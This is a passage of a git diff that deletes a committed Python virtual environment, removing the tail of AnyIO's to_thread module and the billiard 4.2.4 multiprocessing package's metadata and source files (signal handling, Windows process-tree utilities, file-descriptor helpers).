thread (leaving it to run - unchecked on own) if the host task is cancelled, ``False`` to ignore - cancellations in the host task until the operation has completed in the worker - thread - :param cancellable: deprecated alias of ``abandon_on_cancel``; will override - ``abandon_on_cancel`` if both parameters are passed - :param limiter: capacity limiter to use to limit the total amount of threads running - (if omitted, the default limiter is used) - :raises NoEventLoopError: if no supported asynchronous event loop is running in the - current thread - :return: an awaitable that yields the return value of the function. - - """ - if cancellable is not None: - abandon_on_cancel = cancellable - warn( - "The `cancellable=` keyword argument to `anyio.to_thread.run_sync` is " - "deprecated since AnyIO 4.1.0; use `abandon_on_cancel=` instead", - DeprecationWarning, - stacklevel=2, - ) - - return await get_async_backend().run_sync_in_worker_thread( - func, args, abandon_on_cancel=abandon_on_cancel, limiter=limiter - ) - - -def current_default_thread_limiter() -> CapacityLimiter: - """ - Return the capacity limiter that is used by default to limit the number of - concurrent threads. - - :return: a capacity limiter object - :raises NoEventLoopError: if no supported asynchronous event loop is running in the - current thread - - """ - return get_async_backend().current_default_thread_limiter() diff --git a/venv/Lib/site-packages/billiard-4.2.4.dist-info/INSTALLER b/venv/Lib/site-packages/billiard-4.2.4.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard-4.2.4.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/billiard-4.2.4.dist-info/LICENSE.txt b/venv/Lib/site-packages/billiard-4.2.4.dist-info/LICENSE.txt deleted file mode 100644 index b9920edbfef66e04dd3516cc8f9e7a68b6b767e3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard-4.2.4.dist-info/LICENSE.txt +++ /dev/null @@ -1,29 +0,0 @@ -Copyright (c) 2006-2008, R Oudkerk and Contributors - -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions -are met: - -1. Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. -2. Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in the - documentation and/or other materials provided with the distribution. -3. Neither the name of author nor the names of any contributors may be - used to endorse or promote products derived from this software - without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS" AND -ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE -ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE -FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS -OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) -HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY -OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF -SUCH DAMAGE. - diff --git a/venv/Lib/site-packages/billiard-4.2.4.dist-info/METADATA b/venv/Lib/site-packages/billiard-4.2.4.dist-info/METADATA deleted file mode 100644 index e8077f6c474ff050a69b9d6988e3f46979eb1b42..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard-4.2.4.dist-info/METADATA +++ /dev/null @@ -1,119 +0,0 @@ -Metadata-Version: 2.1 -Name: billiard -Version: 4.2.4 -Summary: Python multiprocessing fork with improvements and bugfixes -Home-page: https://github.com/celery/billiard -Author: R Oudkerk / Python Software Foundation -Author-email: python-dev@python.org -Maintainer: Asif Saif Uddin -Maintainer-email: auvipy@gmail.com -License: BSD -Keywords: multiprocessing pool process -Classifier: Development Status :: 5 - Production/Stable -Classifier: Intended Audience :: Developers -Classifier: Programming Language :: Python -Classifier: Programming Language :: C -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Programming Language :: Python :: 3.8 -Classifier: Programming Language :: Python :: 3.9 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.13 -Classifier: Programming Language :: Python :: Implementation :: CPython -Classifier: Programming Language :: Python :: Implementation :: PyPy -Classifier: Operating System :: Microsoft :: Windows -Classifier: Operating System :: POSIX -Classifier: License :: OSI Approved :: BSD License -Classifier: Topic :: Software Development :: Libraries :: Python Modules -Classifier: Topic :: System :: Distributed Computing -Requires-Python: >=3.7 -License-File: LICENSE.txt - -======== -billiard -======== - -|build-status-lin| |build-status-win| |license| |wheel| |pyversion| |pyimp| - -:Version: 4.2.4 -:Web: https://billiard.readthedocs.io -:Download: https://pypi.org/project/billiard/ -:Source: https://github.com/celery/billiard/ -:DeepWiki: |deepwiki| - -.. |build-status-lin| image:: https://github.com/celery/billiard/actions/workflows/ci.yaml/badge.svg - :alt: Build status on Linux - :target: https://github.com/celery/billiard/actions/workflows/ci.yaml - -.. |build-status-win| image:: https://ci.appveyor.com/api/projects/status/github/celery/billiard?png=true&branch=main - :alt: Build status on Windows - :target: https://ci.appveyor.com/project/ask/billiard - -.. |license| image:: https://img.shields.io/pypi/l/billiard.svg - :alt: BSD License - :target: https://opensource.org/licenses/BSD-3-Clause - -.. |wheel| image:: https://img.shields.io/pypi/wheel/billiard.svg - :alt: Billiard can be installed via wheel - :target: https://pypi.org/project/billiard/ - -.. |pyversion| image:: https://img.shields.io/pypi/pyversions/billiard.svg - :alt: Supported Python versions. - :target: https://pypi.org/project/billiard/ - -.. |pyimp| image:: https://img.shields.io/pypi/implementation/billiard.svg - :alt: Support Python implementations. - :target: https://pypi.org/project/billiard/ - -.. |deepwiki| image:: https://devin.ai/assets/deepwiki-badge.png - :alt: Ask http://DeepWiki.com - :target: https://deepwiki.com/celery/billiard - :width: 125px - -About ------ - -``billiard`` is a fork of the Python 2.7 `multiprocessing `_ -package. The multiprocessing package itself is a renamed and updated version of -R Oudkerk's `pyprocessing `_ package. -This standalone variant draws its fixes/improvements from python-trunk and provides -additional bug fixes and improvements. - -- This package would not be possible if not for the contributions of not only - the current maintainers but all of the contributors to the original pyprocessing - package listed `here `_. - -- Also, it is a fork of the multiprocessing backport package by Christian Heims. - -- It includes the no-execv patch contributed by R. Oudkerk. - -- And the Pool improvements previously located in `Celery`_. - -- Billiard is used in and is a dependency for `Celery`_ and is maintained by the - Celery team. - -.. _`Celery`: http://celeryproject.org - -Documentation -------------- - -The documentation for ``billiard`` is available on `Read the Docs `_. - -Bug reporting -------------- - -Please report bugs related to multiprocessing at the -`Python bug tracker `_. Issues related to billiard -should be reported at https://github.com/celery/billiard/issues. - -billiard is part of the Tidelift Subscription ---------------------------------------------- - -The maintainers of ``billiard`` and thousands of other packages are working -with Tidelift to deliver commercial support and maintenance for the open source -dependencies you use to build your applications. Save time, reduce risk, and -improve code health, while paying the maintainers of the exact dependencies you -use. `Learn more`_. - -.. _`Learn more`: https://tidelift.com/subscription/pkg/pypi-billiard?utm_source=pypi-billiard&utm_medium=referral&utm_campaign=readme&utm_term=repo diff --git a/venv/Lib/site-packages/billiard-4.2.4.dist-info/RECORD b/venv/Lib/site-packages/billiard-4.2.4.dist-info/RECORD deleted file mode 100644 index 97f99d40d29697c98f830e959bca5e6207d74455..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard-4.2.4.dist-info/RECORD +++ /dev/null @@ -1,62 +0,0 @@ -billiard-4.2.4.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -billiard-4.2.4.dist-info/LICENSE.txt,sha256=ZjLlmsq9u77CYoN9RHJKBlMYlJ8ALv0GAtZCcRrjpFc,1483 -billiard-4.2.4.dist-info/METADATA,sha256=ZA999m4Xt-_haZlzUvTldJE1qF1uTMboGLq8z6QOVRg,4770 -billiard-4.2.4.dist-info/RECORD,, -billiard-4.2.4.dist-info/WHEEL,sha256=GV9aMThwP_4oNCtvEC2ec3qUYutgWeAzklro_0m4WJQ,91 -billiard-4.2.4.dist-info/top_level.txt,sha256=52Kkdlqn9Np8pbpkTVd_1KZTZLGjupUzhUw8QsW-B-U,9 -billiard/__init__.py,sha256=W-9sN1aLqFxE2X8svQ5Qy29xEjx_fWo4LZsTySLmiBA,1557 -billiard/__pycache__/__init__.cpython-314.pyc,, -billiard/__pycache__/_ext.cpython-314.pyc,, -billiard/__pycache__/_win.cpython-314.pyc,, -billiard/__pycache__/common.cpython-314.pyc,, -billiard/__pycache__/compat.cpython-314.pyc,, -billiard/__pycache__/connection.cpython-314.pyc,, -billiard/__pycache__/context.cpython-314.pyc,, -billiard/__pycache__/einfo.cpython-314.pyc,, -billiard/__pycache__/exceptions.cpython-314.pyc,, -billiard/__pycache__/forkserver.cpython-314.pyc,, -billiard/__pycache__/heap.cpython-314.pyc,, -billiard/__pycache__/managers.cpython-314.pyc,, -billiard/__pycache__/pool.cpython-314.pyc,, -billiard/__pycache__/popen_fork.cpython-314.pyc,, -billiard/__pycache__/popen_forkserver.cpython-314.pyc,, -billiard/__pycache__/popen_spawn_posix.cpython-314.pyc,, -billiard/__pycache__/popen_spawn_win32.cpython-314.pyc,, -billiard/__pycache__/process.cpython-314.pyc,, -billiard/__pycache__/queues.cpython-314.pyc,, -billiard/__pycache__/reduction.cpython-314.pyc,, -billiard/__pycache__/resource_sharer.cpython-314.pyc,, -billiard/__pycache__/semaphore_tracker.cpython-314.pyc,, -billiard/__pycache__/sharedctypes.cpython-314.pyc,, -billiard/__pycache__/spawn.cpython-314.pyc,, -billiard/__pycache__/synchronize.cpython-314.pyc,, -billiard/__pycache__/util.cpython-314.pyc,, -billiard/_ext.py,sha256=ybsKrDCncAVFL8ml4nMNKbvb2no5sap3qHc6_cwUxqE,872 -billiard/_win.py,sha256=vILzfaBKGhhNjePPfRTdRrVoIygnXyUGtJ4FmBFU4Gw,2919 -billiard/common.py,sha256=ZA5J7PLCNnIcdj1mqkqb9ows4khKKgjY1I59GeiattI,4140 -billiard/compat.py,sha256=tEIxHmFgQf2Yl7O0yW4uWtidK4-84bHHUJRK-DfN_CM,8158 -billiard/connection.py,sha256=0CP8JqCUQka6lWrE6EVUpfMG0ALGMfgGQby7wnIUfl0,32924 -billiard/context.py,sha256=QfLpnJwJblvUP_BPRDrbBx9DgKBvH5ZHDDkYr2anw1E,13154 -billiard/dummy/__init__.py,sha256=MGuxw6dYyU-TokOw2mEizwefj-FxjDwq5tEshuSJ5ng,4633 -billiard/dummy/__pycache__/__init__.cpython-314.pyc,, -billiard/dummy/__pycache__/connection.cpython-314.pyc,, -billiard/dummy/connection.py,sha256=UYjJH4smDsj7X0W4uJxvg97z2TxILDL2x5GER4vv4Mw,2907 -billiard/einfo.py,sha256=V5EHOu46jJuI3cqVVzPnX1JspYfd1uIWaPjke_DJyz4,5112 -billiard/exceptions.py,sha256=xymsevvXvB5SO-ebmaHBqQPEJfl6EqThM1PlLtGFk3U,1272 -billiard/forkserver.py,sha256=SPfs8T2uaPtfK_F1ADVNNPZGSUrjeadTf5h6gwKOiPc,8282 -billiard/heap.py,sha256=YQoNKIELwpQhq7U7XTRKAD5-JVGKgye08O8vbQRdATw,9154 -billiard/managers.py,sha256=yxeuqrtauo173KJy6SuK3EAfRmSWejBqEi-oJ57ZokI,36757 -billiard/pool.py,sha256=ssKqDKfxyhtYoNDTkR4AqQa_HvAYe7Th5HDSKrvsWdE,69034 -billiard/popen_fork.py,sha256=Kt3n8oEE3J8qb9N28orS7o28Y5bZmBbVe9uU37y-GxQ,2552 -billiard/popen_forkserver.py,sha256=BLLO5B0P9GQj3i2r-16ulKcRMLy3HYNvw8I129ZcNas,1770 -billiard/popen_spawn_posix.py,sha256=cnRYqmztgDv2pURFQl1PzgOzR1ThxuUJeG3ksCy7SCQ,1922 -billiard/popen_spawn_win32.py,sha256=1FH4HYC9ilmkzSEfGqyf6g39qv-zc6cPuM8Z56H51ww,3543 -billiard/process.py,sha256=FQliOzUtgKWcNG-Yd9lcS9ypv8BtkcH6IM9isfOjVRc,11055 -billiard/queues.py,sha256=b8Ykkvg9B3c5jhXzImcERxCc-bLfDBtFO8u3Y480l08,12739 -billiard/reduction.py,sha256=pVr81gei43nJNhfdSuTDevwmZsiY3LXFTZ-G_uGN5Ts,9382 -billiard/resource_sharer.py,sha256=AKGDzC6ScuX8GdPk9RFEH8MP578_yiJ5Hvy6KTwSIfI,5299 -billiard/semaphore_tracker.py,sha256=72OU2cxJzc3vDamj1oVI5HL8sWRsRfMCWBxQKUP1c2Y,4846 -billiard/sharedctypes.py,sha256=6w59LGEa5PAcufoC4DUUq6TjtyR7cqZz9xmBc9GrLZg,6665 -billiard/spawn.py,sha256=JNdBCCGkQx4wVeTgyiZWMMV-3goL_qJBwtdkkpF5uZ8,11740 -billiard/synchronize.py,sha256=hmQisAgIePaxIpYR2_4D7Nfa9-EurXpeViT5nyKue0I,12962 -billiard/util.py,sha256=vSoUk1Nh5_GDKPbmgIZhArgspWlVA2Icso8MrckBbXs,6260 diff --git a/venv/Lib/site-packages/billiard-4.2.4.dist-info/WHEEL b/venv/Lib/site-packages/billiard-4.2.4.dist-info/WHEEL deleted file mode 100644 index dcfdc6e359074689c0bdb567634b4f84add7849c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard-4.2.4.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: setuptools (75.1.0) -Root-Is-Purelib: true -Tag: py3-none-any - diff --git a/venv/Lib/site-packages/billiard-4.2.4.dist-info/top_level.txt b/venv/Lib/site-packages/billiard-4.2.4.dist-info/top_level.txt deleted file mode 100644 index 7ac9b3109078f5d61e07fc247b53093cb53214d9..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard-4.2.4.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -billiard diff --git a/venv/Lib/site-packages/billiard/__init__.py b/venv/Lib/site-packages/billiard/__init__.py deleted file mode 100644 index 79f78963119ec335154fd36de90df56d9f634906..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard/__init__.py +++ /dev/null @@ -1,61 +0,0 @@ -"""Python multiprocessing fork with improvements and bugfixes""" -# -# Package analogous to 'threading.py' but using processes -# -# multiprocessing/__init__.py -# -# This package is intended to duplicate the functionality (and much of -# the API) of threading.py but uses processes instead of threads. A -# subpackage 'multiprocessing.dummy' has the same API but is a simple -# wrapper for 'threading'. -# -# Try calling `multiprocessing.doc.main()` to read the html -# documentation in a webbrowser. -# -# -# Copyright (c) 2006-2008, R Oudkerk -# Licensed to PSF under a Contributor Agreement. -# - - -import sys - -from . import context - -VERSION = (4, 2, 4) -__version__ = '.'.join(map(str, VERSION[0:4])) + "".join(VERSION[4:]) -__author__ = 'R Oudkerk / Python Software Foundation' -__author_email__ = 'python-dev@python.org' -__maintainer__ = 'Asif Saif Uddin' -__contact__ = "auvipy@gmail.com" -__homepage__ = "https://github.com/celery/billiard" -__docformat__ = "restructuredtext" - -# -eof meta- - -# -# Copy stuff from default context -# - -globals().update((name, getattr(context._default_context, name)) - for name in context._default_context.__all__) -__all__ = context._default_context.__all__ - -# -# XXX These should not really be documented or public. -# - -SUBDEBUG = 5 -SUBWARNING = 25 - -# -# Alias for main module -- will be reset by bootstrapping child processes -# - -if '__main__' in sys.modules: - sys.modules['__mp_main__'] = sys.modules['__main__'] - - -def ensure_multiprocessing(): - from ._ext import ensure_multiprocessing - return ensure_multiprocessing() diff --git a/venv/Lib/site-packages/billiard/_ext.py b/venv/Lib/site-packages/billiard/_ext.py deleted file mode 100644 index 00a53cda860fabd1435d07f15b68d1f559c8f1b1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard/_ext.py +++ /dev/null @@ -1,32 +0,0 @@ -import sys - -supports_exec = True - -from .compat import _winapi as win32 # noqa - -if sys.platform.startswith("java"): - _billiard = None -else: - try: - import _billiard # noqa - except ImportError: - import _multiprocessing as _billiard # noqa - supports_exec = False - - -def ensure_multiprocessing(): - if _billiard is None: - raise NotImplementedError("multiprocessing not supported") - - -def ensure_SemLock(): - try: - from _billiard import SemLock # noqa - except ImportError: - try: - from _multiprocessing import SemLock # noqa - except ImportError: - raise ImportError("""\ -This platform lacks a functioning sem_open implementation, therefore, -the required synchronization primitives needed will not function, -see issue 3770.""") diff --git a/venv/Lib/site-packages/billiard/_win.py b/venv/Lib/site-packages/billiard/_win.py deleted file mode 100644 index 1dcba64674a46636fccf4c75ca2b157e950d97b2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard/_win.py +++ /dev/null @@ -1,114 +0,0 @@ -""" - billiard._win - ~~~~~~~~~~~~~ - - Windows utilities to terminate process groups. - -""" - -import os - -# psutil is painfully slow in win32. So to avoid adding big -# dependencies like pywin32 a ctypes based solution is preferred - -# Code based on the winappdbg project http://winappdbg.sourceforge.net/ -# (BSD License) -from ctypes import ( - byref, sizeof, windll, - Structure, WinError, POINTER, - c_size_t, c_char, c_void_p, -) -from ctypes.wintypes import DWORD, LONG - -ERROR_NO_MORE_FILES = 18 -INVALID_HANDLE_VALUE = c_void_p(-1).value - - -class PROCESSENTRY32(Structure): - _fields_ = [ - ('dwSize', DWORD), - ('cntUsage', DWORD), - ('th32ProcessID', DWORD), - ('th32DefaultHeapID', c_size_t), - ('th32ModuleID', DWORD), - ('cntThreads', DWORD), - ('th32ParentProcessID', DWORD), - ('pcPriClassBase', LONG), - ('dwFlags', DWORD), - ('szExeFile', c_char * 260), - ] -LPPROCESSENTRY32 = POINTER(PROCESSENTRY32) - - -def CreateToolhelp32Snapshot(dwFlags=2, th32ProcessID=0): - hSnapshot = windll.kernel32.CreateToolhelp32Snapshot(dwFlags, - th32ProcessID) - if hSnapshot == INVALID_HANDLE_VALUE: - raise WinError() - return hSnapshot - - -def Process32First(hSnapshot, pe=None): - return _Process32n(windll.kernel32.Process32First, hSnapshot, pe) - - -def Process32Next(hSnapshot, pe=None): - return _Process32n(windll.kernel32.Process32Next, hSnapshot, pe) - - -def _Process32n(fun, hSnapshot, pe=None): - if pe is None: - pe = PROCESSENTRY32() - pe.dwSize = sizeof(PROCESSENTRY32) - success = fun(hSnapshot, byref(pe)) - if not success: - if windll.kernel32.GetLastError() == ERROR_NO_MORE_FILES: - return - raise WinError() - return pe - - -def get_all_processes_pids(): - """Return a dictionary with all processes pids as keys and their - parents as value. Ignore processes with no parents. - """ - h = CreateToolhelp32Snapshot() - parents = {} - pe = Process32First(h) - while pe: - if pe.th32ParentProcessID: - parents[pe.th32ProcessID] = pe.th32ParentProcessID - pe = Process32Next(h, pe) - - return parents - - -def get_processtree_pids(pid, include_parent=True): - """Return a list with all the pids of a process tree""" - parents = get_all_processes_pids() - all_pids = list(parents.keys()) - pids = {pid} - while 1: - pids_new = pids.copy() - - for _pid in all_pids: - if parents[_pid] in pids: - pids_new.add(_pid) - - if pids_new == pids: - break - - pids = pids_new.copy() - - if not include_parent: - pids.remove(pid) - - return list(pids) - - -def kill_processtree(pid, signum): - """Kill a process and all its descendants""" - family_pids = get_processtree_pids(pid) - - for _pid in family_pids: - os.kill(_pid, signum) diff --git a/venv/Lib/site-packages/billiard/common.py b/venv/Lib/site-packages/billiard/common.py deleted file mode 100644 index eda0ffb21f816a56a941ffcc2194dd1d88b4bff9..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard/common.py +++ /dev/null @@ -1,156 +0,0 @@ -""" -This module contains utilities added by billiard, to keep -"non-core" functionality out of ``.util``.""" - -import os -import signal -import sys - -import pickle - -from .exceptions import RestartFreqExceeded -from time import monotonic - -pickle_load = pickle.load -pickle_loads = pickle.loads - -# cPickle.loads does not support buffer() objects, -# but we can just create a StringIO and use load. -from io import BytesIO - - -SIGMAP = dict( - (getattr(signal, n), n) for n in dir(signal) if n.startswith('SIG') -) -for _alias_sig in ('SIGHUP', 'SIGABRT'): - try: - # Alias for deprecated signal overwrites the name we want - SIGMAP[getattr(signal, _alias_sig)] = _alias_sig - except AttributeError: - pass - - -TERM_SIGNAL, TERM_SIGNAME = signal.SIGTERM, 'SIGTERM' -REMAP_SIGTERM = os.environ.get('REMAP_SIGTERM') -if REMAP_SIGTERM: - TERM_SIGNAL, TERM_SIGNAME = ( - getattr(signal, REMAP_SIGTERM), REMAP_SIGTERM) - - -TERMSIGS_IGNORE = {'SIGTERM'} if REMAP_SIGTERM else set() -TERMSIGS_FORCE = {'SIGQUIT'} if REMAP_SIGTERM else set() - -EX_SOFTWARE = 70 - -TERMSIGS_DEFAULT = { - 'SIGHUP', - 'SIGQUIT', - TERM_SIGNAME, - 'SIGUSR1', -} - -TERMSIGS_FULL = { - 'SIGHUP', - 'SIGQUIT', - 'SIGTRAP', - 'SIGABRT', - 'SIGEMT', - 'SIGSYS', - 'SIGPIPE', - 'SIGALRM', - TERM_SIGNAME, - 'SIGXCPU', - 'SIGXFSZ', - 'SIGVTALRM', - 'SIGPROF', - 'SIGUSR1', - 'SIGUSR2', -} - -#: set by signal handlers just before calling exit. -#: if this is true after the sighandler returns it means that something -#: went wrong while terminating the process, and :func:`os._exit` -#: must be called ASAP. -_should_have_exited = [False] - - -def human_status(status): - if (status or 0) < 0: - try: - return 'signal {0} ({1})'.format(-status, SIGMAP[-status]) - except KeyError: - return 'signal {0}'.format(-status) - return 'exitcode {0}'.format(status) - - -def pickle_loads(s, load=pickle_load): - # used to support buffer objects - return load(BytesIO(s)) - - -def maybe_setsignal(signum, handler): - try: - signal.signal(signum, handler) - except (OSError, AttributeError, ValueError, RuntimeError): - pass - - -def _shutdown_cleanup(signum, frame): - # we will exit here so if the signal is received a second time - # we can be sure that something is very wrong and we may be in - # a crashing loop. - if _should_have_exited[0]: - os._exit(EX_SOFTWARE) - maybe_setsignal(signum, signal.SIG_DFL) - _should_have_exited[0] = True - sys.exit(-(256 - signum)) - - -def signum(sig): - return getattr(signal, sig, None) - - -def _should_override_term_signal(sig, current): - return ( - sig in TERMSIGS_FORCE or - (current is not None and current != signal.SIG_IGN) - ) - - -def reset_signals(handler=_shutdown_cleanup, full=False): - for sig in TERMSIGS_FULL if full else TERMSIGS_DEFAULT: - num = signum(sig) - if num: - if _should_override_term_signal(sig, signal.getsignal(num)): - maybe_setsignal(num, handler) - for sig in TERMSIGS_IGNORE: - num = signum(sig) - if num: - maybe_setsignal(num, signal.SIG_IGN) - - -class restart_state: - RestartFreqExceeded = RestartFreqExceeded - - def __init__(self, maxR, maxT): - self.maxR, self.maxT = maxR, maxT - self.R, self.T = 0, None - - def step(self, now=None): - now = monotonic() if now is None else now - R = self.R - if self.T and now - self.T >= self.maxT: - # maxT passed, reset counter and time passed. - self.T, self.R = now, 0 - elif self.maxR and self.R >= self.maxR: - # verify that R has a value as the result handler - # resets this when a job is accepted. If a job is accepted - # the startup probably went fine (startup restart burst - # protection) - if self.R: # pragma: no cover - self.R = 0 # reset in case someone catches the error - raise self.RestartFreqExceeded("%r in %rs" % (R, self.maxT)) - # first run sets T - if self.T is None: - self.T = now - self.R += 1 diff --git a/venv/Lib/site-packages/billiard/compat.py b/venv/Lib/site-packages/billiard/compat.py deleted file mode 100644 index b20677c7a5cb6589be09f9d86e56d63e5735ef7a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard/compat.py +++ /dev/null @@ -1,279 +0,0 @@ -import errno -import numbers -import os -import subprocess -import sys - -from itertools import zip_longest - -if sys.platform == 'win32': - try: - import _winapi # noqa - except ImportError: # pragma: no cover - from _multiprocessing import win32 as _winapi # noqa -else: - _winapi = None # noqa - -try: - import resource -except ImportError: # pragma: no cover - resource = None - -from io import UnsupportedOperation -FILENO_ERRORS = (AttributeError, ValueError, UnsupportedOperation) - - -if hasattr(os, 'write'): - __write__ = os.write - - def send_offset(fd, buf, offset): - return __write__(fd, buf[offset:]) - -else: # non-posix platform - - def send_offset(fd, buf, offset): # noqa - raise NotImplementedError('send_offset') - - -try: - fsencode = os.fsencode - fsdecode = os.fsdecode -except AttributeError: - def _fscodec(): - encoding = sys.getfilesystemencoding() - if encoding == 'mbcs': - errors = 'strict' - else: - errors = 'surrogateescape' - - def fsencode(filename): - """ - Encode filename to the filesystem encoding with 'surrogateescape' - error handler, return bytes unchanged. On Windows, use 'strict' - error handler if the file system encoding is 'mbcs' (which is the - default encoding). - """ - if isinstance(filename, bytes): - return filename - elif isinstance(filename, str): - return filename.encode(encoding, errors) - else: - raise TypeError("expect bytes or str, not %s" - % type(filename).__name__) - - def fsdecode(filename): - """ - Decode filename from the filesystem encoding with 'surrogateescape' - error handler, return str unchanged. On Windows, use 'strict' error - handler if the file system encoding is 'mbcs' (which is the default - encoding). - """ - if isinstance(filename, str): - return filename - elif isinstance(filename, bytes): - return filename.decode(encoding, errors) - else: - raise TypeError("expect bytes or str, not %s" - % type(filename).__name__) - - return fsencode, fsdecode - - fsencode, fsdecode = _fscodec() - del _fscodec - - -def maybe_fileno(f): - """Get object fileno, or :const:`None` if not defined.""" - if isinstance(f, numbers.Integral): - return f - try: - return f.fileno() - except FILENO_ERRORS: - pass - - -def get_fdmax(default=None): - """Return the maximum number of open file descriptors - on this system. - - :keyword default: Value returned if there's no file - descriptor limit. - - """ - try: - return os.sysconf('SC_OPEN_MAX') - except: - pass - if resource is None: # Windows - return default - fdmax = resource.getrlimit(resource.RLIMIT_NOFILE)[1] - if fdmax == resource.RLIM_INFINITY: - return default - return fdmax - - -def uniq(it): - """Return all unique elements in ``it``, preserving order.""" - seen = set() - return (seen.add(obj) or obj for obj in it if obj not in seen) - - -try: - closerange = os.closerange -except AttributeError: - - def closerange(fd_low, fd_high): # noqa - for fd in reversed(range(fd_low, fd_high)): - try: - os.close(fd) - except OSError as exc: - if exc.errno != errno.EBADF: - raise - - def close_open_fds(keep=None): - # must make sure this is 0-inclusive (Issue #celery/1882) - keep = list(uniq(sorted( - f for f in map(maybe_fileno, keep or []) if f is not None - ))) - maxfd = get_fdmax(default=2048) - kL, kH = iter([-1] + keep), iter(keep + [maxfd]) - for low, high in zip_longest(kL, kH): - if low + 1 != high: - closerange(low + 1, high) -else: - def close_open_fds(keep=None): # noqa - keep = [maybe_fileno(f) - for f in (keep or []) if maybe_fileno(f) is not None] - for fd in reversed(range(get_fdmax(default=2048))): - if fd not in keep: - try: - os.close(fd) - except OSError as exc: - if exc.errno != errno.EBADF: - raise - - -def get_errno(exc): - """:exc:`socket.error` and :exc:`IOError` first got - the ``.errno`` attribute in Py2.7""" - try: - return exc.errno - except AttributeError: - return 0 - - -try: - import _posixsubprocess -except ImportError: - def spawnv_passfds(path, args, passfds): - if sys.platform != 'win32': - # when not using _posixsubprocess (on earlier python) and not on - # windows, we want to keep stdout/stderr open... - passfds = passfds + [ - maybe_fileno(sys.stdout), - maybe_fileno(sys.stderr), - ] - pid = os.fork() - if not pid: - close_open_fds(keep=sorted(f for f in passfds if f)) - os.execv(fsencode(path), args) - return pid -else: - def spawnv_passfds(path, args, passfds): - passfds = sorted(passfds) - errpipe_read, errpipe_write = os.pipe() - try: - args = [ - args, [fsencode(path)], True, tuple(passfds), None, None, - -1, -1, -1, -1, -1, -1, errpipe_read, errpipe_write, - False, False] - if sys.version_info >= (3, 11): - args.append(-1) # process_group - if sys.version_info >= (3, 9): - args.extend((None, None, None, -1)) # group, extra_groups, user, umask - args.append(None) # preexec_fn - if (3, 11) <= sys.version_info < (3, 14): - args.append(subprocess._USE_VFORK) - return _posixsubprocess.fork_exec(*args) - finally: - os.close(errpipe_read) - os.close(errpipe_write) - - -if sys.platform == 'win32': - - def setblocking(handle, blocking): - raise NotImplementedError('setblocking not implemented on win32') - - def isblocking(handle): - raise NotImplementedError('isblocking not implemented on win32') - -else: - from os import O_NONBLOCK - from fcntl import fcntl, F_GETFL, F_SETFL - - def isblocking(handle): # noqa - return not (fcntl(handle, F_GETFL) & O_NONBLOCK) - - def setblocking(handle, blocking): # noqa - flags = fcntl(handle, F_GETFL, 0) - fcntl( - handle, F_SETFL, - flags & (~O_NONBLOCK) if blocking else flags | O_NONBLOCK, - ) - - -E_PSUTIL_MISSING = """ -On Windows, the ability to inspect memory usage requires the psutil library. - -You can install it using pip: - - $ pip install psutil -""" - - -E_RESOURCE_MISSING = """ -Your platform ({0}) does not seem to have the `resource.getrusage' function. - -Please open an issue so that we can add support for this platform. -""" - - -if sys.platform == 'win32': - - try: - import psutil - except ImportError: # pragma: no cover - psutil = None # noqa - - def mem_rss(): - # type () -> int - if psutil is None: - raise ImportError(E_PSUTIL_MISSING.strip()) - return int(psutil.Process(os.getpid()).memory_info()[0] / 1024.0) - -else: - try: - from resource import getrusage, RUSAGE_SELF - except ImportError: # pragma: no cover - getrusage = RUSAGE_SELF = None # noqa - - if 'bsd' in sys.platform or sys.platform == 'darwin': - # On BSD platforms :man:`getrusage(2)` ru_maxrss field is in bytes. - - def maxrss_to_kb(v): - # type: (SupportsInt) -> int - return int(v) / 1024.0 - - else: - # On Linux it's kilobytes. - - def maxrss_to_kb(v): - # type: (SupportsInt) -> int - return int(v) - - def mem_rss(): - # type () -> int - if resource is None: - raise ImportError(E_RESOURCE_MISSING.strip().format(sys.platform)) - return maxrss_to_kb(getrusage(RUSAGE_SELF).ru_maxrss) diff --git a/venv/Lib/site-packages/billiard/connection.py b/venv/Lib/site-packages/billiard/connection.py deleted file mode 100644 index ecfd9eef4d2be9e527c728a9b6ca8d4bdfe3f428..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard/connection.py 